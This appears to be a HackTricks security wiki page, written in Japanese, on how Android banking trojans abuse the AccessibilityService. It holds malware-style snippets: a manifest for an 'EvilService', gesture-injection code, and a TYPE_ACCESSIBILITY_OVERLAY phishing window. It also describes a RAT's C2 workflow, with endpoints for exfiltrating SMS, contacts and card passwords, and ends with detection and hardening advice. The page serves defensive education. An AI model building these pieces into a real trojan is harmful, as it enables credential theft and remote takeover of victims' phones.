Android Accessibility Service Abuse

Reading time: 8 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

概要

AccessibilityService は、障害のあるユーザーが Android デバイスと対話するのを助けるために作成されました。残念ながら、同じ 強力な自動化 API(グローバルナビゲーション、テキスト入力、ジェスチャー配信、オーバーレイウィンドウ…)は、マルウェアによって武器化され、完全なリモート制御を取得するために使用される可能性があります root 権限なしで

現代の Android 銀行トロイの木馬やリモートアクセス型トロイの木馬(RAT)である PlayPraetor、SpyNote、BrasDex、SOVA、ToxicPanda などは、同じレシピに従います:

  1. 被害者を社会工学的に騙して、悪意のあるアクセシビリティサービスを有効にさせる(BIND_ACCESSIBILITY_SERVICE 権限は「高リスク」と見なされ、明示的なユーザーアクションが必要です)。
  2. サービスを利用して
  • 画面に表示されるすべての UI イベントとテキストをキャプチャする、
  • 合成ジェスチャー(dispatchGesture)やグローバルアクション(performGlobalAction)を注入して、オペレーターが望む任意のタスクを自動化する、
  • TYPE_ACCESSIBILITY_OVERLAY ウィンドウタイプを使用して、正当なアプリの上に全画面オーバーレイを描画する(SYSTEM_ALERT_WINDOW プロンプトなし!)、
  • 被害者の代わりにシステムダイアログをクリックして、追加のランタイム権限を静かに付与する。
  1. ユーザーが完全に正常な画面を見ている間に、データを抽出したり、On-Device-Fraud (ODF) をリアルタイムで実行したりします。

権限の要求

xml
<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">

<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>

<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>

コンパニオンXMLは、フェイクダイアログの見た目を定義します:

xml
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>

リモートUI自動化プリミティブ

java
public class EvilService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
// harvest text or detect foreground app change
}

// Simulate HOME / BACK / RECENTS …
private void navHome()     { performGlobalAction(GLOBAL_ACTION_HOME); }
private void navBack()     { performGlobalAction(GLOBAL_ACTION_BACK); }
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }

// Generic tap / swipe
public void tap(float x, float y) {
Path p = new Path(); p.moveTo(x, y);
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
}
}

これらの2つのAPIだけで、攻撃者は次のことができます:

  • スクリーンのロックを解除し、銀行アプリを開き、そのUIツリーをナビゲートして、送金フォームを送信します。
  • ポップアップするすべての権限ダイアログを承認します。
  • Play Storeインテントを介して追加のAPKをインストール/更新します。

悪用パターン

1. オーバーレイフィッシング(認証情報収集)

透明または不透明な WebView がウィンドウマネージャに追加されます:

java
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY,                      // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL,       // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);

被害者は偽のフォームに認証情報を入力し、バックグラウンドアプリは同じジェスチャーを受け取ります - 疑わしい「他のアプリの上に描画する」プロンプトは表示されません。

詳細な例: Accessibility Overlay Phishing セクションは Tapjacking ページ内にあります。

2. デバイス上の詐欺自動化

PlayPraetor のようなマルウェアファミリーは、オペレーターが高レベルのコマンド(init, update, alert_arr, report_list, …)を発行できる持続的な WebSocket チャネルを維持します。このサービスは、これらのコマンドを上記の低レベルのジェスチャーに変換し、そのデバイスに関連付けられた多要素認証を簡単に回避するリアルタイムの不正取引を実現します。

3. スクリーンストリーミングとモニタリング

MediaProjection API と RTMP クライアントライブラリを組み合わせることで、RAT はライブフレームバッファを rtmp://<c2>:1935/live/<device_id> にブロードキャストし、Accessibility エンジンが UI を駆動している間、敵に完璧な状況認識を提供します。


PlayPraetor – コマンド&コントロールワークフロー

  1. HTTP(S) ハートビート – ハードコーディングされたリストを繰り返し、1つのドメインが POST /app/searchPackageName でアクティブな C2 に応答するまで。
  2. WebSocket (ポート 8282) – 双方向 JSON コマンド:
  • update – 新しい conf/APK をプッシュ
  • alert_arr – オーバーレイテンプレートを構成
  • report_list – ターゲットパッケージ名のリストを送信
  • heartbeat_web – キープアライブ
  1. RTMP (ポート 1935) – ライブスクリーン/ビデオストリーミング。
  2. REST エクスフィルトレーション
  • /app/saveDevice (フィンガープリンツ)
  • /app/saveContacts | /app/saveSms | /app/uploadImageBase64
  • /app/saveCardPwd (銀行クレデンシャル)

AccessibilityService は、これらのクラウドコマンドを物理的なインタラクションに変換するローカルエンジンです。


悪意のあるアクセシビリティサービスの検出

  • adb shell settings get secure enabled_accessibility_services
  • 設定 → アクセシビリティ → ダウンロードしたサービス – Google Play からのアプリでないものを探す。
  • MDM / EMM ソリューションは、サイドロードされたサービスをブロックするために ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY (Android 13+) を強制できます。
  • 実行中のサービスを分析:
bash
adb shell dumpsys accessibility | grep "Accessibility Service"

アプリ開発者向けの強化推奨

  • 敏感なビューに android:accessibilityDataSensitive="accessibilityDataPrivateYes" をマークする (API 34+)。
  • setFilterTouchesWhenObscured(true)FLAG_SECURE を組み合わせてタップ/オーバーレイのハイジャックを防ぐ。
  • WindowManager.getDefaultDisplay().getFlags() または ViewRootImpl API をポーリングしてオーバーレイを検出する。
  • Settings.canDrawOverlays() または 非信頼のアクセシビリティサービスがアクティブな場合は操作を拒否する。

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする